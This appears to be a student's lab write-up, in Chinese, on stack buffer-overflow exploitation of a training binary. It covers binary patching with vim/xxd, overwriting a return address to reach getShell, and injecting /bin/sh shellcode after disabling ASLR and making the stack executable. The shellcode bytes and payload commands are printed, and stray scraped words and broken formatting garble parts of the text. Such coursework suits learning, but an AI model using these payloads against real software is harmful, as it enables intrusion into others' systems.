本次實踐的對象是一個名爲pwn1的linux可執行文件。html
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。linux
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。git
手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。shell
利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。編程
注入一個本身製做的shellcode並運行這段shellcode。vim
objdump -d <file(s)>: 將代碼段反彙編; objdump -S <file(s)>: 將代碼段反彙編的同時,將反彙編代碼與源代碼交替顯示,編譯時須要使用-g參數,即須要調試信息; objdump -C <file(s)>: 將C++符號名逆向解析 objdump -l <file(s)>: 反彙編代碼中插入文件名和行號 objdump -j section <file(s)>: 僅反彙編指定的section
vim <filename>: 以ASCII碼形式顯示可執行文件的內容 :%!xxd: 將顯示模式切換爲16進制模式 :%!xxd: 將16進制切換回ASCII碼模式
|
:是管道命令操做符,簡稱管道符。利用Linux所提供的管道符「|」將兩個命令隔開,管道符左邊命令的輸出就會做爲管道符右邊命令的輸入。連續使用管道意味着第一個命令的輸出會做爲 第二個命令的輸入,第二個命令的輸出又會做爲第三個命令的輸入,依此類推。>
:表明以覆蓋的方式將命令的正確輸出輸出到指定的文件或設備當中。>>
:表明以追加方式輸出。命令 < 文件名
:把文件做爲命令的輸入,例如wc命令時統計行,單詞書和字符的。原理(思路):sass
步驟:網絡
objdump -d pwn1 | more
對pwn1
文件進行反彙編08048491
,main函數中的call 8048491 <foo>
指令的機器碼爲e8 d7 ff ff ff
,下一條指令的地址爲80484ba
。機器碼中的0xffffffd7 = 0x080484ba - 0x08048491
爲主函數執行位置和foo函數起始地址的差0x080484ba - 0x0804847d = 0xffffffc3
vi pwn1
打開以ASCII碼顯示的文件:%!xxd
將文件轉換爲16進制查看d7ffffff
位置,輸入i
進入插入模式,將d7
修改成c3
:%!xxd -r
將文件轉化爲ASCII碼形式,保存並退出objdump -d pwn1 | more
查看,發現pwn1文件已經被修改了結果:dom
原理(思路):ide
緩衝區大小+4字節(ebp)+getShell的地址
,使得getShell的地址覆蓋eip步驟:
計算出實現緩衝區溢出的字符數爲28+4=32
字節(4爲EBP佔用的內存空間),咱們但願執行getShell函數,所以須要將getShell函數的地址放在eip(返回地址)處,即33~36字節,接下對猜測進行驗證
咱們在gdb中輸入至少36字節的數據,能夠看到給出了Segmentation fault 的錯誤提示,同時能夠查看到eip寄存器的地址爲0x34333231 ,驗證了將getShell的地址放在33~36字節的猜測
咱們將33~36字節的內容替換爲getShell的地址,即\x7d\x84\x04\x08
,前32字節能夠任意輸入
因爲咱們沒法從鍵盤輸入16進制的值,所以運用perl語言和>
輸出重定向構造輸入文件perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
構造輸入,咱們能夠經過cat
和xxd
指令查看咱們構造的輸入文件
結果:
|
,輸入命令(cat input; cat ) | ./pwn2
將構造的輸入input做爲pwn2的輸入並運行,結果以下:原理(思路):
retaddr+nop+shellcode
(緩衝區小)或nop+shellcode+retaddr
(緩衝區大)的方式構造攻擊buf步驟:
execstack -s pwn3
設置堆棧可執行execstack -q pwn3
查詢文件的堆棧是否可執行,結果爲X表示可執行more /proc/sys/kernel/randomize_va_space
查看隨機化是否關閉echo "0" > /proc/sys/kernel/randomize_va_space
關閉隨機化more /proc/sys/kernel/randomize_va_space
再次查看,結果爲0證實已關閉perl -e 'print "A" x 32;print \x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn3
運行pwn3ps -ef | grep pwn3
查看pwn3的進程號disassemble foo
進行反編譯,能夠看到ret指令的地址爲0x080484ae
,在此處設置斷點break *0x080484ae
c
繼續運行程序info r esp
查看esp寄存器地址,此時esp的地址即爲eip的地址x/16x 0xffffd1ac
以16進制形式查看0xffffd1ac
地址後面的內容0xffffd1ac+0x00000004=0xffffd1b0
將注入代碼buf的地址改成0xffffd1b0
輸入(cat input_shellcode;cat) | ./pwn3
結果:
問題一:
解決一:
:%!xxd -r
轉成ASCLL碼形式就不會出問題問題二:
解決二:
pop ebp
,此時esp已經指向eip了 以前本身對網絡攻防這方面也算是有點興趣、有點好奇吧,此次,在看了老師的視頻講解以後,本身實操了一把,感受還不錯,多是前期看視頻、學知識準備的比較久,作完還有那麼一點點小成就感。
此次實驗的主要困難就是在於對機器碼、彙編指令、十六進制數、堆棧原理的掌握還不是很充分,一些地方理解起來比較費勁,我是看完老師的視頻就開始參考着組長的博客開作了,在作的過程當中,有不懂的地方,就直接上網上去查,沒有的話就去問同窗,和組內同窗討論,邊作邊學,摸着石頭過河。
最後作下來,總體感受仍是不錯的,也沒有遇到太大的問題,全部遇到問題都獲得瞭解決,對此次的實驗內容也有了基本的瞭解,同時也有了很大的收穫。也還有不少地方掌握的不是太好,如機器指令、彙編語言之類的,以後我也會增強學習,爭取作的更好!